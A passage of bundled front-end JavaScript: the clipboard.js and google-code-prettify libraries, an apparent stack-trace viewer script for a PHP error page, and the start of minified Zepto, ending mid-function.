t(){this.fakeHandler&&(document.body.removeEventListener("click"),this.fakeHandler=null),this.fakeElem&&(document.body.removeChild(this.fakeElem),this.fakeElem=null)},t.prototype.selectTarget=function
t(){this.selectedText=c.default(this.target),this.copyText()},t.prototype.copyText=function
t(){var e=void
0;try{e=document.execCommand(this.action)}catch(n){e=!1}this.handleResult(e)},t.prototype.handleResult=function
t(e){e?this.emitter.emit("success",{action:this.action,text:this.selectedText,trigger:this.trigger,clearSelection:this.clearSelection.bind(this)}):this.emitter.emit("error",{action:this.action,trigger:this.trigger,clearSelection:this.clearSelection.bind(this)})},t.prototype.clearSelection=function
t(){this.target&&this.target.blur(),window.getSelection().removeAllRanges()},t.prototype.destroy=function
t(){this.removeFake()},i(t,[{key:"action",set:function t(){var
e=arguments.length<=0||void
0===arguments[0]?"copy":arguments[0];if(this._action=e,"copy"!==this._action&&"cut"!==this._action)throw
new Error('Invalid "action" value, use either
"copy" or "cut"')},get:function t(){return
this._action}},{key:"target",set:function t(e){if(void
0!==e){if(!e||"object"!=typeof e||1!==e.nodeType)throw new
Error('Invalid "target" value, use a valid
Element');this._target=e}},get:function t(){return
this._target}}]),t}();n.default=s,e.exports=n.default},{select:6}],9:[function(t,e,n){"use
strict";function r(t){return
t&&t.__esModule?t:{"default":t}}function o(t,e){if(!(t
instanceof e))throw new TypeError("Cannot call a class as a
function")}function i(t,e){if("function"!=typeof
e&&null!==e)throw new TypeError("Super expression must either
be null or a function, not "+typeof
e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function
a(t,e){var n="data-clipboard-"+t;if(e.hasAttribute(n))return
e.getAttribute(n)}n.__esModule=!0;var
c=t("./clipboard-action"),s=r(c),u=t("tiny-emitter"),l=r(u),f=t("good-listener"),d=r(f),h=function(t){function
e(n,r){o(this,e),t.call(this),this.resolveOptions(r),this.listenClick(n)}return
i(e,t),e.prototype.resolveOptions=function t(){var
e=arguments.length<=0||void
0===arguments[0]?{}:arguments[0];this.action="function"==typeof
e.action?e.action:this.defaultAction,this.target="function"==typeof
e.target?e.target:this.defaultTarget,this.text="function"==typeof
e.text?e.text:this.defaultText},e.prototype.listenClick=function t(e){var
n=this;this.listener=d.default(e,"click",function(t){return
n.onClick(t)})},e.prototype.onClick=function
t(e){this.clipboardAction&&(this.clipboardAction=null),this.clipboardAction=new
s.default({action:this.action(e.target),target:this.target(e.target),text:this.text(e.target),trigger:e.target,emitter:this})},e.prototype.defaultAction=function
t(e){return a("action",e)},e.prototype.defaultTarget=function
t(e){var n=a("target",e);return n?document.querySelector(n):void
0},e.prototype.defaultText=function t(e){return
a("text",e)},e.prototype.destroy=function
t(){this.listener.destroy(),this.clipboardAction&&(this.clipboardAction.destroy(),this.clipboardAction=null)},e}(l.default);n.default=h,e.exports=n.default},{"./clipboard-action":8,"good-listener":5,"tiny-emitter":7}]},{},[9])(9)});var
r=null;window.PR_SHOULD_USE_CONTINUATION=!0;
(function(){function O(a){function i(d){var
a=d.charCodeAt(0);if(a!==92)return a;var
f=d.charAt(1);return(a=s[f])?a:"0"<=f&&f<="7"?parseInt(d.substring(1),8):f==="u"||f==="x"?parseInt(d.substring(2),16):d.charCodeAt(1)}function
g(d){if(d<32)return(d<16?"\\x0":"\\x")+d.toString(16);d=String.fromCharCode(d);return
d==="\\"||d==="-"||d==="]"||d==="^"?"\\"+d:d}function
j(d){var
a=d.substring(1,d.length-1).match(/\\u[\dA-Fa-f]{4}|\\x[\dA-Fa-f]{2}|\\[0-3][0-7]{0,2}|\\[0-7]{1,2}|\\[\S\s]|[^\\]/g),d=[],f=
a[0]==="^",b=["["];f&&b.push("^");for(var
f=f?1:0,c=a.length;f<c;++f){var
h=a[f];if(/\\[bdsw]/i.test(h))b.push(h);else{var
h=i(h),e;f+2<c&&"-"===a[f+1]?(e=i(a[f+2]),f+=2):e=h;d.push([h,e]);e<65||h>122||(e<65||h>90||d.push([Math.max(65,h)|32,Math.min(e,90)|32]),e<97||h>122||d.push([Math.max(97,h)&-33,Math.min(e,122)&-33]))}}d.sort(function(d,a){return
d[0]-a[0]||a[1]-d[1]});a=[];c=[];for(f=0;f<d.length;++f)h=d[f],h[0]<=c[1]+1?c[1]=Math.max(c[1],h[1]):a.push(c=h);for(f=0;f<a.length;++f)h=a[f],b.push(g(h[0])),
h[1]>h[0]&&(h[1]+1>h[0]&&b.push("-"),b.push(g(h[1])));b.push("]");return
b.join("")}function t(d){for(var
a=d.source.match(/\[(?:[^\\\]]|\\[\S\s])*]|\\u[\dA-Fa-f]{4}|\\x[\dA-Fa-f]{2}|\\\d+|\\[^\dux]|\(\?[!:=]|[()^]|[^()[\\^]+/g),b=a.length,i=[],c=0,h=0;c<b;++c){var
e=a[c];e==="("?++h:"\\"===e.charAt(0)&&(e=+e.substring(1))&&(e<=h?i[e]=-1:a[c]=g(e))}for(c=1;c<i.length;++c)-1===i[c]&&(i[c]=++z);for(h=c=0;c<b;++c)e=a[c],e==="("?(++h,i[h]||(a[c]="(?:")):"\\"===e.charAt(0)&&(e=+e.substring(1))&&e<=h&&
(a[c]="\\"+i[e]);for(c=0;c<b;++c)"^"===a[c]&&"^"!==a[c+1]&&(a[c]="");if(d.ignoreCase&&w)for(c=0;c<b;++c)e=a[c],d=e.charAt(0),e.length>=2&&d==="["?a[c]=j(e):d!=="\\"&&(a[c]=e.replace(/[A-Za-z]/g,function(d){d=d.charCodeAt(0);return"["+String.fromCharCode(d&-33,d|32)+"]"}));return
a.join("")}for(var z=0,w=!1,k=!1,m=0,b=a.length;m<b;++m){var
o=a[m];if(o.ignoreCase)k=!0;else
if(/[a-z]/i.test(o.source.replace(/\\u[\da-f]{4}|\\x[\da-f]{2}|\\[^UXux]/gi,""))){w=!0;k=!1;break}}for(var
s={b:8,t:9,n:10,v:11,
f:12,r:13},q=[],m=0,b=a.length;m<b;++m){o=a[m];if(o.global||o.multiline)throw
Error(""+o);q.push("(?:"+t(o)+")")}return
RegExp(q.join("|"),k?"gi":"g")}function
P(a,i){function g(a){switch(a.nodeType){case
1:if(j.test(a.className))break;for(var
b=a.firstChild;b;b=b.nextSibling)g(b);b=a.nodeName.toLowerCase();if("br"===b||"li"===b)t[k]="\n",w[k<<1]=z++,w[k++<<1|1]=a;break;case
3:case
4:b=a.nodeValue,b.length&&(b=i?b.replace(/\r\n?/g,"\n"):b.replace(/[\t\n\r
]+/g," "),t[k]=b,w[k<<1]=z,z+=b.length,w[k++<<
1|1]=a)}}var
j=/(?:^|\s)nocode(?:\s|$)/,t=[],z=0,w=[],k=0;g(a);return{a:t.join("").replace(/\n$/,""),d:w}}function
E(a,i,g,j){i&&(a={a:i,e:a},g(a),j.push.apply(j,a.g))}function
x(a,i){function g(a){for(var
k=a.e,m=[k,"pln"],b=0,o=a.a.match(t)||[],s={},q=0,d=o.length;q<d;++q){var
v=o[q],f=s[v],u=void 0,c;if(typeof f==="string")c=!1;else{var
h=j[v.charAt(0)];if(h)u=v.match(h[1]),f=h[0];else{for(c=0;c<z;++c)if(h=i[c],u=v.match(h[1])){f=h[0];break}u||(f="pln")}if((c=f.length>=5&&"lang-"===f.substring(0,
5))&&!(u&&typeof
u[1]==="string"))c=!1,f="src";c||(s[v]=f)}h=b;b+=v.length;if(c){c=u[1];var
e=v.indexOf(c),p=e+c.length;u[2]&&(p=v.length-u[2].length,e=p-c.length);f=f.substring(5);E(k+h,v.substring(0,e),g,m);E(k+h+e,c,F(f,c),m);E(k+h+p,v.substring(p),g,m)}else
m.push(k+h,f)}a.g=m}var j={},t;(function(){for(var
g=a.concat(i),k=[],m={},b=0,o=g.length;b<o;++b){var
s=g[b],q=s[3];if(q)for(var
d=q.length;--d>=0;)j[q.charAt(d)]=s;s=s[1];q=""+s;m.hasOwnProperty(q)||(k.push(s),m[q]=r)}k.push(/[\S\s]/);t=
O(k)})();var z=i.length;return g}function l(a){var
i=[],g=[];a.tripleQuotedStrings?i.push(["str",/^(?:'''(?:[^'\\]|\\[\S\s]|''?(?=[^']))*(?:'''|$)|"""(?:[^"\\]|\\[\S\s]|""?(?=[^"]))*(?:"""|$)|'(?:[^'\\]|\\[\S\s])*(?:'|$)|"(?:[^"\\]|\\[\S\s])*(?:"|$))/,r,"'\""]):a.multiLineStrings?i.push(["str",/^(?:'(?:[^'\\]|\\[\S\s])*(?:'|$)|"(?:[^"\\]|\\[\S\s])*(?:"|$)|`(?:[^\\`]|\\[\S\s])*(?:`|$))/,r,"'\"`"]):i.push(["str",/^(?:'(?:[^\n\r'\\]|\\.)*(?:'|$)|"(?:[^\n\r"\\]|\\.)*(?:"|$))/,r,"\"'"]);a.verbatimStrings&&
g.push(["str",/^@"(?:[^"]|"")*(?:"|$)/,r]);var
j=a.hashComments;j&&(a.cStyleComments?(j>1?i.push(["com",/^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/,r,"#"]):i.push(["com",/^#(?:(?:define|e(?:l|nd)if|else|error|ifn?def|include|line|pragma|undef|warning)\b|[^\n\r]*)/,r,"#"]),g.push(["str",/^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h(?:h|pp|\+\+)?|[a-z]\w*)>/,r])):i.push(["com",/^#[^\n\r]*/,r,"#"]));a.cStyleComments&&(g.push(["com",/^\/\/[^\n\r]*/,r]),g.push(["com",/^\/\*[\S\s]*?(?:\*\/|$)/,
r]));a.regexLiterals&&g.push(["lang-regex",/^(?:^^\.?|[+-]|[!=]={0,2}|#|%=?|&&?=?|\(|\*=?|[+-]=|->|\/=?|::?|<<?=?|>{1,3}=?|[,;?@[{~]|\^\^?=?|\|\|?=?|break|case|continue|delete|do|else|finally|instanceof|return|throw|try|typeof)\s*(\/(?=[^*/])(?:[^/[\\]|\\[\S\s]|\[(?:[^\\\]]|\\[\S\s])*(?:]|$))+\/)/]);(j=a.types)&&g.push(["typ",j]);a=(""+a.keywords).replace(/^
|
$/g,"");a.length&&g.push(["kwd",RegExp("^(?:"+a.replace(/[\s,]+/g,"|")+")\\b"),r]);i.push(["pln",/^\s+/,r,"
\r\n\t\u00a0"]);g.push(["lit",
/^@[$_a-z][\w$@]*/i,r],["typ",/^(?:[@_]?[A-Z]+[a-z][\w$@]*|\w+_t\b)/,r],["pln",/^[$_a-z][\w$@]*/i,r],["lit",/^(?:0x[\da-f]+|(?:\d(?:_\d+)*\d*(?:\.\d*)?|\.\d\+)(?:e[+-]?\d+)?)[a-z]*/i,r,"0123456789"],["pln",/^\\[\S\s]?/,r],["pun",/^.[^\s\w"$'./@\\`]*/,r]);return
x(i,g)}function G(a,i,g){function j(a){switch(a.nodeType){case
1:if(z.test(a.className))break;if("br"===a.nodeName)t(a),a.parentNode&&a.parentNode.removeChild(a);else
for(a=a.firstChild;a;a=a.nextSibling)j(a);break;case 3:case 4:if(g){var b=
a.nodeValue,f=b.match(n);if(f){var
i=b.substring(0,f.index);a.nodeValue=i;(b=b.substring(f.index+f[0].length))&&a.parentNode.insertBefore(k.createTextNode(b),a.nextSibling);t(a);i||a.parentNode.removeChild(a)}}}}function
t(a){function i(a,b){var d=b?a.cloneNode(!1):a,e=a.parentNode;if(e){var
e=i(e,1),f=a.nextSibling;e.appendChild(d);for(var
g=f;g;g=f)f=g.nextSibling,e.appendChild(g)}return
d}for(;!a.nextSibling;)if(a=a.parentNode,!a)return;for(var
a=i(a.nextSibling,0),f;(f=a.parentNode)&&f.nodeType===
1;)a=f;b.push(a)}for(var
z=/(?:^|\s)nocode(?:\s|$)/,n=/\r\n?|\n/,k=a.ownerDocument,m=k.createElement("li");a.firstChild;)m.appendChild(a.firstChild);for(var
b=[m],o=0;o<b.length;++o)j(b[o]);i===(i|0)&&b[0].setAttribute("value",i);var
s=k.createElement("ol");s.className="linenums";for(var
i=Math.max(0,i-1|0)||0,o=0,q=b.length;o<q;++o)m=b[o],m.className="L"+(o+i)%10,m.firstChild||m.appendChild(k.createTextNode("\u00a0")),s.appendChild(m);a.appendChild(s)}function
n(a,i){for(var g=i.length;--g>=0;){var j=
i[g];A.hasOwnProperty(j)?C.console&&console.warn("cannot
override language handler %s",j):A[j]=a}}function
F(a,i){if(!a||!A.hasOwnProperty(a))a=/^\s*</.test(i)?"default-markup":"default-code";return
A[a]}function H(a){var i=a.h;try{var
g=P(a.c,a.i),j=g.a;a.a=j;a.d=g.d;a.e=0;F(i,j)(a);var
t=/\bMSIE\s(\d+)/.exec(navigator.userAgent),t=t&&+t[1]<=8,i=/\n/g,n=a.a,w=n.length,g=0,k=a.d,m=k.length,j=0,b=a.g,o=b.length,s=0;b[o]=w;var
q,d;for(d=q=0;d<o;)b[d]!==b[d+2]?(b[q++]=b[d++],b[q++]=b[d++]):d+=2;o=q;
for(d=q=0;d<o;){for(var
v=b[d],f=b[d+1],u=d+2;u+2<=o&&b[u+1]===f;)u+=2;b[q++]=v;b[q++]=f;d=u}b.length=q;var
c=a.c,h;if(c)h=c.style.display,c.style.display="none";try{for(;j<m;){var
e=k[j+2]||w,p=b[s+2]||w,u=Math.min(e,p),l=k[j+1],D;if(l.nodeType!==1&&(D=n.substring(g,u))){t&&(D=D.replace(i,"\r"));l.nodeValue=D;var
y=l.ownerDocument,x=y.createElement("span");x.className=b[s+1];var
B=l.parentNode;B.replaceChild(x,l);x.appendChild(l);g<e&&(k[j+1]=l=y.createTextNode(n.substring(u,e)),B.insertBefore(l,
x.nextSibling))}g=u;g>=e&&(j+=2);g>=p&&(s+=2)}}finally{if(c)c.style.display=h}}catch(A){C.console&&console.log(A&&A.stack?A.stack:A)}}var
C=window,y=["break,continue,do,else,for,if,return,while"],B=[[y,"auto,case,char,const,default,double,enum,extern,float,goto,int,long,register,short,signed,sizeof,static,struct,switch,typedef,union,unsigned,void,volatile"],"catch,class,delete,false,import,new,operator,private,protected,public,this,throw,true,try,typeof"],I=[B,"alignof,align_union,asm,axiom,bool,concept,concept_map,const_cast,constexpr,decltype,dynamic_cast,explicit,export,friend,inline,late_check,mutable,namespace,nullptr,reinterpret_cast,static_assert,static_cast,template,typeid,typename,using,virtual,where"],
J=[B,"abstract,boolean,byte,extends,final,finally,implements,import,instanceof,null,native,package,strictfp,super,synchronized,throws,transient"],K=[J,"as,base,by,checked,decimal,delegate,descending,dynamic,event,fixed,foreach,from,group,implicit,in,interface,internal,into,is,let,lock,object,out,override,orderby,params,partial,readonly,ref,sbyte,sealed,stackalloc,string,select,uint,ulong,unchecked,unsafe,ushort,var,virtual,where"],B=[B,"debugger,eval,export,function,get,null,set,undefined,var,with,Infinity,NaN"],
L=[y,"and,as,assert,class,def,del,elif,except,exec,finally,from,global,import,in,is,lambda,nonlocal,not,or,pass,print,raise,try,with,yield,False,True,None"],M=[y,"alias,and,begin,case,class,def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo,rescue,retry,self,super,then,true,undef,unless,until,when,yield,BEGIN,END"],y=[y,"case,done,elif,esac,eval,fi,function,in,local,set,then,until"],N=/^(DIR|FILE|vector|(de|priority_)?queue|list|stack|(const_)?iterator|(multi)?(set|map)|bitset|u?(int|float)\d*)\b/,
Q=/\S/,R=l({keywords:[I,K,B,"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END"+L,M,y],hashComments:!0,cStyleComments:!0,multiLineStrings:!0,regexLiterals:!0}),A={};n(R,["default-code"]);n(x([],[["pln",/^[^<?]+/],["dec",/^<!\w[^>]*(?:>|$)/],["com",/^<\!--[\S\s]*?(?:--\>|$)/],["lang-",/^<\?([\S\s]+?)(?:\?>|$)/],["lang-",/^<%([\S\s]+?)(?:%>|$)/],["pun",/^(?:<[%?]|[%?]>)/],["lang-",
/^<xmp\b[^>]*>([\S\s]+?)<\/xmp\b[^>]*>/i],["lang-js",/^<script\b[^>]*>([\S\s]*?)(<\/script\b[^>]*>)/i],["lang-css",/^<style\b[^>]*>([\S\s]*?)(<\/style\b[^>]*>)/i],["lang-in.tag",/^(<\/?[a-z][^<>]*>)/i]]),["default-markup","htm","html","mxml","xhtml","xml","xsl"]);n(x([["pln",/^\s+/,r,"
\t\r\n"],["atv",/^(?:"[^"]*"?|'[^']*'?)/,r,"\"'"]],[["tag",/^^<\/?[a-z](?:[\w-.:]*\w)?|\/?>$/i],["atn",/^(?!style[\s=]|on)[a-z](?:[\w:-]*\w)?/i],["lang-uq.val",/^=\s*([^\s"'>]*(?:[^\s"'/>]|\/(?=\s)))/],["pun",/^[/<->]+/],
["lang-js",/^on\w+\s*=\s*"([^"]+)"/i],["lang-js",/^on\w+\s*=\s*'([^']+)'/i],["lang-js",/^on\w+\s*=\s*([^\s"'>]+)/i],["lang-css",/^style\s*=\s*"([^"]+)"/i],["lang-css",/^style\s*=\s*'([^']+)'/i],["lang-css",/^style\s*=\s*([^\s"'>]+)/i]]),["in.tag"]);n(x([],[["atv",/^[\S\s]+/]]),["uq.val"]);n(l({keywords:I,hashComments:!0,cStyleComments:!0,types:N}),["c","cc","cpp","cxx","cyc","m"]);n(l({keywords:"null,true,false"}),["json"]);n(l({keywords:K,hashComments:!0,cStyleComments:!0,verbatimStrings:!0,types:N}),
["cs"]);n(l({keywords:J,cStyleComments:!0}),["java"]);n(l({keywords:y,hashComments:!0,multiLineStrings:!0}),["bsh","csh","sh"]);n(l({keywords:L,hashComments:!0,multiLineStrings:!0,tripleQuotedStrings:!0}),["cv","py"]);n(l({keywords:"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END",hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),["perl","pl","pm"]);n(l({keywords:M,hashComments:!0,
multiLineStrings:!0,regexLiterals:!0}),["rb"]);n(l({keywords:B,cStyleComments:!0,regexLiterals:!0}),["js"]);n(l({keywords:"all,and,by,catch,class,else,extends,false,finally,for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then,throw,true,try,unless,until,when,while,yes",hashComments:3,cStyleComments:!0,multilineStrings:!0,tripleQuotedStrings:!0,regexLiterals:!0}),["coffee"]);n(x([],[["str",/^[\S\s]+/]]),["regex"]);var
S=C.PR={createSimpleLexer:x,registerLangHandler:n,sourceDecorator:l,
PR_ATTRIB_NAME:"atn",PR_ATTRIB_VALUE:"atv",PR_COMMENT:"com",PR_DECLARATION:"dec",PR_KEYWORD:"kwd",PR_LITERAL:"lit",PR_NOCODE:"nocode",PR_PLAIN:"pln",PR_PUNCTUATION:"pun",PR_SOURCE:"src",PR_STRING:"str",PR_TAG:"tag",PR_TYPE:"typ",prettyPrintOne:C.prettyPrintOne=function(a,i,g){var
j=document.createElement("pre");j.innerHTML=a;g&&G(j,g,!0);H({h:i,j:g,c:j,i:1});return
j.innerHTML},prettyPrint:C.prettyPrint=function(a){function i(){var
u;for(var
g=C.PR_SHOULD_USE_CONTINUATION?k.now()+250:Infinity;m<j.length&&
k.now()<g;m++){var
c=j[m],h=c.className;if(s.test(h)&&!q.test(h)){for(var
e=!1,p=c.parentNode;p;p=p.parentNode)if(f.test(p.tagName)&&p.className&&s.test(p.className)){e=!0;break}if(!e){c.className+="
prettyprinted";var h=h.match(o),n;if(e=!h){for(var e=c,p=void
0,l=e.firstChild;l;l=l.nextSibling)var
t=l.nodeType,p=t===1?p?e:l:t===3?Q.test(l.nodeValue)?e:p:p;e=(n=p===e?void
0:p)&&v.test(n.tagName)}e&&(h=n.className.match(o));h&&(h=h[1]);u=d.test(c.tagName)?1:(e=(e=c.currentStyle)?e.whiteSpace:document.defaultView&&
document.defaultView.getComputedStyle?document.defaultView.getComputedStyle(c,r).getPropertyValue("white-space"):0)&&"pre"===e.substring(0,3),e=u;(p=(p=c.className.match(/\blinenums\b(?::(\d+))?/))?p[1]&&p[1].length?+p[1]:!0:!1)&&G(c,p,e);b={h:h,c:c,j:p,i:e};H(b)}}}m<j.length?setTimeout(i,250):a&&a()}for(var
g=[document.getElementsByTagName("pre"),document.getElementsByTagName("code"),document.getElementsByTagName("xmp")],j=[],n=0;n<g.length;++n)for(var
l=0,w=g[n].length;l<w;++l)j.push(g[n][l]);var g=
r,k=Date;k.now||(k={now:function(){return+new Date}});var
m=0,b,o=/\blang(?:uage)?-([\w.]+)(?!\S)/,s=/\bprettyprint\b/,q=/\bprettyprinted\b/,d=/pre|xmp/i,v=/^code$/i,f=/^(?:pre|code|xmp)$/i;i()}};typeof
define==="function"&&define.amd&&define("google-code-prettify",[],function(){return
S})})();
Zepto(function($) {
var $leftPanel = $('.left-panel');
var $frameContainer = $('.frames-container');
var $appFramesTab = $('#application-frames-tab');
var $allFramesTab = $('#all-frames-tab');
var $container = $('.details-container');
var $activeLine = $frameContainer.find('.frame.active');
var $activeFrame = $container.find('.frame-code.active');
var $ajaxEditors = $('.editor-link[data-ajax]');
var $header = $('header');
$header.on('mouseenter', function () {
if ($header.find('.exception').height() >= 145) {
$header.addClass('header-expand');
}
});
$header.on('mouseleave', function () {
$header.removeClass('header-expand');
});
/*
* add prettyprint classes to our current active codeblock
* run prettyPrint() to highlight the active code
* scroll to the line when prettyprint is done
* highlight the current line
*/
var renderCurrentCodeblock = function(id) {
// remove previous codeblocks so we only render the active one
$('.code-block').removeClass('prettyprint');
// pass the id in when we can for speed
if (typeof(id) === 'undefined' || typeof(id) ===
'object') {
var id =
/frame\-line\-([\d]*)/.exec($activeLine.attr('id'))[1];
}
$('#frame-code-linenums-' +
id).addClass('prettyprint');
$('#frame-code-args-' +
id).addClass('prettyprint');
prettyPrint(highlightCurrentLine);
}
/*
* Highlight the active and neighboring lines for the current frame
* Adjust the offset to make sure that line is veritcally centered
*/
var highlightCurrentLine = function() {
var activeLineNumber =
+($activeLine.find('.frame-line').text());
var $lines = $activeFrame.find('.linenums li');
var firstLine = +($lines.first().val());
// We show more code than needed, purely for proper syntax highlighting
// Let’s hide a big chunk of that code and then scroll the remaining
block
$activeFrame.find('.code-block').first().css({
maxHeight: 345,
overflow: 'hidden',
});
var $offset = $($lines[activeLineNumber - firstLine - 10]);
if ($offset.length > 0) {
$offset[0].scrollIntoView();
}
$($lines[activeLineNumber - firstLine -
1]).addClass('current');
$($lines[activeLineNumber - firstLine]).addClass('current
active');
$($lines[activeLineNumber - firstLine +
1]).addClass('current');
$container.scrollTop(0);
}
/*
* click handler for loading codeblocks
*/
$frameContainer.on('click', '.frame', function() {
var $this = $(this);
var id =
/frame\-line\-([\d]*)/.exec($this.attr('id'))[1];
var $codeFrame = $('#frame-code-' + id);
if ($codeFrame) {
$activeLine.removeClass('active');
$activeFrame.removeClass('active');
$this.addClass('active');
$codeFrame.addClass('active');
$activeLine = $this;
$activeFrame = $codeFrame;
renderCurrentCodeblock(id);
}
});
var clipboard = new Clipboard('.clipboard');
var showTooltip = function(elem, msg) {
elem.setAttribute('class', 'clipboard tooltipped
tooltipped-s');
elem.setAttribute('aria-label', msg);
};
clipboard.on('success', function(e) {
e.clearSelection();
showTooltip(e.trigger, 'Copied!');
});
clipboard.on('error', function(e) {
showTooltip(e.trigger, fallbackMessage(e.action));
});
var btn = document.querySelector('.clipboard');
btn.addEventListener('mouseleave', function(e) {
e.currentTarget.setAttribute('class', 'clipboard');
e.currentTarget.removeAttribute('aria-label');
});
function fallbackMessage(action) {
var actionMsg = '';
var actionKey = (action === 'cut' ? 'X' :
'C');
if (/Mac/i.test(navigator.userAgent)) {
actionMsg = 'Press ⌘-' + actionKey + ' to ' +
action;
} else {
actionMsg = 'Press Ctrl-' + actionKey + ' to '
+ action;
}
return actionMsg;
}
function scrollIntoView($node, $parent) {
var nodeOffset = $node.offset();
var nodeTop = nodeOffset.top;
var nodeBottom = nodeTop + nodeOffset.height;
var parentScrollTop = $parent.scrollTop();
var parentHeight = $parent.height();
if (nodeTop < 0) {
$parent.scrollTop(parentScrollTop + nodeTop);
} else if (nodeBottom > parentHeight) {
$parent.scrollTop(parentScrollTop + nodeBottom - parentHeight);
}
}
$(document).on('keydown', function(e) {
var applicationFrames =
$frameContainer.hasClass('frames-container-application'),
frameClass = applicationFrames ?
'.frame.frame-application' : '.frame';
if(e.ctrlKey || e.which === 74 || e.which === 75) {
// CTRL+Arrow-UP/k and Arrow-Down/j support:
// 1) select the next/prev element
// 2) make sure the newly selected element is within the view-scope
// 3) focus the (right) container, so arrow-up/down (without ctrl)
scroll the details
if (e.which === 38 /* arrow up */ || e.which === 75 /* k */) {
$activeLine.prev(frameClass).click();
scrollIntoView($activeLine, $leftPanel);
$container.focus();
e.preventDefault();
} else if (e.which === 40 /* arrow down */ || e.which === 74 /* j */) {
$activeLine.next(frameClass).click();
scrollIntoView($activeLine, $leftPanel);
$container.focus();
e.preventDefault();
}
} else if (e.which == 78 /* n */) {
if ($appFramesTab.length) {
setActiveFramesTab($('.frames-tab:not(.frames-tab-active)'));
}
}
});
// Render late enough for highlightCurrentLine to be ready
renderCurrentCodeblock();
// Avoid to quit the page with some protocol (e.g. IntelliJ Platform REST
API)
$ajaxEditors.on('click', function(e){
e.preventDefault();
$.get(this.href);
});
// Symfony VarDumper: Close the by default expanded objects
$('.sf-dump-expanded')
.removeClass('sf-dump-expanded')
.addClass('sf-dump-compact');
$('.sf-dump-toggle span').html('▶');
// Make the given frames-tab active
function setActiveFramesTab($tab) {
$tab.addClass('frames-tab-active');
if ($tab.attr('id') == 'application-frames-tab') {
$frameContainer.addClass('frames-container-application');
$allFramesTab.removeClass('frames-tab-active');
} else {
$frameContainer.removeClass('frames-container-application');
$appFramesTab.removeClass('frames-tab-active');
}
}
$('a.frames-tab').on('click', function(e) {
e.preventDefault();
setActiveFramesTab($(this));
});
});
/* Zepto v1.1.3 - zepto event ajax form ie - zeptojs.com/license */
var Zepto=function(){function L(t){return
null==t?String(t):j[T.call(t)]||"object"}function
Z(t){return"function"==L(t)}function $(t){return
null!=t&&t==t.window}function _(t){return
null!=t&&t.nodeType==t.DOCUMENT_NODE}function
D(t){return"object"==L(t)}function R(t){return
D(t)&&!$(t)&&Object.getPrototypeOf(t)==Object.prototype}function
M(t){return"number"==typeof t.length}function k(t){return
s.call(t,function(t){return null!=t})}function z(t){return
t.length>0?n.fn.concat.apply([],t):t}function F(t){return
t.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\d])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function
q(t){return t in f?f[t]:f[t]=new
RegExp("(^|\\s)"+t+"(\\s|$)")}function
H(t,e){return"number"!=typeof
e||c[F(t)]?e:e+"px"}function I(t){var e,n;return
u[t]||(e=a.createElement(t),a.body.appendChild(e),n=getComputedStyle(e,"").getPropertyValue("display"),e.parentNode.removeChild(e),"none"==n&&(n="block"),u[t]=n),u[t]}function
V(t){return"children"in
t?o.call(t.children):n.map(t.childNodes,function(t){return
1==t.nodeType?t:void 0})}function U(n,i,r){for(e in
i)r&&(R(i[e])||A(i[e]))?(R(i[e])&&!R(n[e])&&(n[e]={}),A(i[e])&&!A(n[e])&&(n[e]=[]),U(n[e],i[e],r)):i[e]!==t&&(n[e]=i[e])}function
B(t,e){return null==e?n(t):n(t).filter(e)}function J(t,e,n,i){return
Z(e)?e.call(t,n,i):e}function
X(t,e,n){null==n?t.removeAttribute(e):t.setAttribute(e,n)}function
W(e,n){var i=e.className,r=i&&i.baseVal!==t;return
n===t?r?i.baseVal:i:void(r?i.baseVal=n:e.className=n)}function Y(t){var
e;try{return
t?"true"==t||("false"==t?!1:"null"==t?null:/^0/.test(t)||isNaN(e=Number(t))?/^[\[\{]/.test(t)?n.parseJSON(t):t:e):t}catch(i){return
t}}function G(t,e){e(t);for(var n in t.childNodes)G(t.childNodes[n],e)}var
t,e,n,i,C,N,r=[],o=r.slice,s=r.filter,a=window.document,u={},f={},c={"column-count":1,columns:1,"font-weight":1,"line-height":1,opacity:1,"z-index":1,zoom:1},l=/^\s*<(\w+|!)[^>]*>/,h=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,p=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/^(?:body|html)$/i,m=/([A-Z])/g,g=["val","css","html","text","data","width","height","offset"],v=["after","prepend","before","append"],y=a.createElement("table"),x=a.createElement("tr"),b={tr:a.createElement("tbody"),tbody:y,thead:y,tfoot:y,td:x,th:x,"*":a.createElement("div")},w=/complete|loaded|interactive/,E=/^[\w-]*$/,j={},T=j.toString,S={},O=a.createElement("div"),P={tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},A=Array.isArray||function(t){return
t instanceof Array};return
S.matches=function(t,e){if(!e||!t||1!==t.nodeType)return!1;var
n=t.webkitMatchesSelector||t.mozMatchesSelector||t.oMatchesSelector||t.matchesSelector;if(n)return
n.call(t,e);var i,r=t.parentNode,o=!r;return
o&&(r=O).appendChild(t),i=~S.qsa(r,e).indexOf(t),o&&O.removeChild(t),i},C=function(t){return
t.replace(/-+(.)?/g,function(t,e){return
e?e.toUpperCase():""})},N=function(t){return
s.call(t,function(e,n){return
t.indexOf(e)==n})},S.fragment=function(e,i,r){var s,u,f;return
h.test(e)&&(s=n(a.createElement(RegExp.$1))),s||(e.replace&&(e=e.replace(p,"<$1></$2>")),i===t&&(i=l.test(e)&&RegExp.$1),i
in
